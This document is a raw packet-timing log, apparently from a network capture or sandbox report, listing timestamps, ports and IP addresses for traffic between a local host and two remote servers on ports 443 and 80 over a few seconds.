Oct 29, 2021 20:11:00.021888018 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.021898031 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.021934032 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:11:00.021949053 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.021995068 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:11:00.021996021 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.022006035 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.022058010 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:11:00.036725044 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.036815882 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:11:00.038428068 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.038527966 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:11:00.038556099 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.038609028 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:11:00.038650036 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.038700104 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:11:00.038738966 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.038799047 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:11:00.038827896 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.038877964 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:11:00.038913012 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.038969040 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:11:00.038995028 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.039041996 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:11:00.039079905 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.039128065 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:11:00.039174080 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.039220095 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:11:00.039252996 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.039299965 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:11:00.039345980 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.039393902 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:11:00.039436102 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.039483070 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:11:00.039516926 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.039570093 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:11:00.039608002 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.039660931 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:11:00.039676905 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.039729118 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:11:00.039764881 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.039819002 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:11:00.039869070 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.039947033 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.039953947 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:11:00.039968967 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.039999962 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:11:00.040019035 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:11:00.040122032 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.040179014 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:11:00.040230989 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.040287018 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:11:00.040335894 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.040395975 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:11:00.040448904 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.040462971 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:11:00.040524006 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:11:00.040555954 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.040767908 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.040795088 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:11:00.040806055 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.040826082 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.040889025 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:11:00.040919065 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:11:00.040925026 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.040958881 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.040993929 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:11:00.040999889 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.041024923 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:11:00.041086912 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:11:00.041138887 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.041201115 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.041213036 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:11:00.041218996 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.041260004 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:11:00.041348934 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.041389942 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.041408062 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:11:00.041414022 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.041431904 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:11:00.041812897 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.041877985 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.041879892 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:11:00.041898012 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.041943073 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:11:00.042156935 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.042220116 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.042232037 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:11:00.042249918 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:11:00.042254925 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.042295933 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:11:00.042509079 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.042573929 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.042597055 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:11:00.042601109 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.042623997 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:11:00.042696953 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:11:00.048172951 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:11:00.053879976 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.053920031 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.054013968 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:11:00.054030895 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.054086924 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:11:00.060781002 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.060820103 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.060894012 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.060898066 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:11:00.060913086 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.060915947 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:11:00.060950041 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:11:00.060973883 CEST	443	49827	162.159.133.233	192.168.2.5
Oct 29, 2021 20:11:00.061866999 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:11:00.061885118 CEST	49827	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:11:00.068392038 CEST	80	49828	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:00.098012924 CEST	80	49828	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:00.098128080 CEST	49828	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:00.099419117 CEST	49828	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:00.151524067 CEST	80	49828	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:00.164247036 CEST	49829	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:00.216393948 CEST	80	49829	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:00.217799902 CEST	49829	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:00.217869043 CEST	49829	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:00.217878103 CEST	49829	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:00.270101070 CEST	80	49829	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:00.294672012 CEST	80	49829	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:00.298644066 CEST	49829	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:00.298691034 CEST	49829	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:00.350915909 CEST	80	49829	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:00.452142954 CEST	49830	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:00.504257917 CEST	80	49830	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:00.504389048 CEST	49830	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:00.504559040 CEST	49830	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:00.505888939 CEST	49830	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:00.556632042 CEST	80	49830	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:00.557768106 CEST	80	49830	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:00.586407900 CEST	80	49830	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:00.588311911 CEST	49830	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:00.600691080 CEST	49830	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:00.652677059 CEST	80	49830	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:00.676652908 CEST	49831	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:00.729015112 CEST	80	49831	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:00.732218981 CEST	49831	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:00.732418060 CEST	49831	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:00.733066082 CEST	49831	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:00.784795046 CEST	80	49831	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:00.785156965 CEST	80	49831	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:00.811194897 CEST	80	49831	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:00.811400890 CEST	80	49831	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:00.811521053 CEST	49831	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:00.874708891 CEST	49831	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:00.927073002 CEST	80	49831	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:01.007745028 CEST	49832	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:01.059566975 CEST	80	49832	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:01.060410976 CEST	49832	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:01.060580015 CEST	49832	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:01.060601950 CEST	49832	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:01.112433910 CEST	80	49832	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:01.135711908 CEST	80	49832	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:01.135812998 CEST	49832	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:01.177421093 CEST	49832	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:01.229125977 CEST	80	49832	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:01.229685068 CEST	49833	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:01.283020020 CEST	80	49833	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:01.283184052 CEST	49833	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:01.283312082 CEST	49833	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:01.283427954 CEST	49833	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:01.336673975 CEST	80	49833	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:01.366837978 CEST	80	49833	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:01.366928101 CEST	49833	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:01.383793116 CEST	49833	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:01.437189102 CEST	80	49833	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:01.439788103 CEST	49834	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:01.494565010 CEST	80	49834	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:01.494692087 CEST	49834	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:01.494781971 CEST	49834	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:01.494982958 CEST	49834	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:01.549673080 CEST	80	49834	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:01.549715996 CEST	80	49834	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:01.573544025 CEST	80	49834	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:01.573632956 CEST	49834	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:01.579510927 CEST	49834	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:01.631870985 CEST	49835	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:01.634290934 CEST	80	49834	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:01.683156967 CEST	80	49835	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:01.683244944 CEST	49835	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:01.683342934 CEST	49835	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:01.683357954 CEST	49835	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:01.762871027 CEST	80	49835	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:01.762964010 CEST	49835	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:01.763132095 CEST	49835	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:01.806797981 CEST	49836	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:01.814269066 CEST	80	49835	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:01.858187914 CEST	80	49836	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:01.858310938 CEST	49836	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:01.858397961 CEST	49836	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:01.858419895 CEST	49836	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:01.909766912 CEST	80	49836	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:01.941761971 CEST	80	49836	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:01.941831112 CEST	49836	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:01.942003012 CEST	49836	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:01.975893021 CEST	49837	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:01.993329048 CEST	80	49836	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.028492928 CEST	80	49837	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.028661966 CEST	49837	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.028760910 CEST	49837	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.028769970 CEST	49837	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.106965065 CEST	80	49837	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.107309103 CEST	80	49837	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.107367992 CEST	49837	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.107384920 CEST	49837	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.134571075 CEST	49838	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.159965038 CEST	80	49837	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.187978029 CEST	80	49838	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.188076019 CEST	49838	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.188205004 CEST	49838	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.188237906 CEST	49838	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.273143053 CEST	80	49838	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.274985075 CEST	49838	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.275207996 CEST	49838	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.308923006 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.328448057 CEST	80	49838	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.360836983 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.360961914 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.361143112 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.361157894 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.446659088 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.446681023 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.446693897 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.446705103 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.446722031 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.446738005 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.446753979 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.446763039 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.446769953 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.446787119 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.446803093 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.446810007 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.446836948 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.498940945 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.498964071 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.498980999 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.498996973 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.499027014 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.499042988 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.499059916 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.499075890 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.499113083 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.499135017 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.499151945 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.499152899 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.499170065 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.499185085 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.499206066 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.499238014 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.499346018 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.499363899 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.499378920 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.499393940 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.499418974 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.499449015 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.499483109 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.499500036 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.499516964 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.499531031 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.499541044 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.499571085 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.551003933 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.551028013 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.551040888 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.551090002 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.551117897 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.551117897 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.551142931 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.551156998 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.551175117 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.551189899 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.551217079 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.551239014 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.551239967 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.551527023 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.551554918 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.551578999 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.551587105 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.551609039 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.551619053 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.551683903 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.551712036 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.551719904 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.551753044 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.551775932 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.551796913 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.551808119 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.551839113 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.551877022 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.551877975 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.551898003 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.551919937 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.551933050 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.551937103 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.551955938 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.551968098 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.552001953 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.552010059 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.552017927 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.552033901 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.552048922 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.552058935 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.552064896 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.552093029 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.552094936 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.552109003 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.552125931 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.552150011 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.552154064 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.552192926 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.552340984 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.552365065 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.552412033 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.605323076 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.605345011 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.605360031 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.605376959 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.605393887 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.605412960 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.605426073 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.605427980 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.605462074 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.605482101 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.605503082 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.605510950 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.605524063 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.605528116 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.605545044 CEST	80	49839	185.98.87.159	192.168.2.5
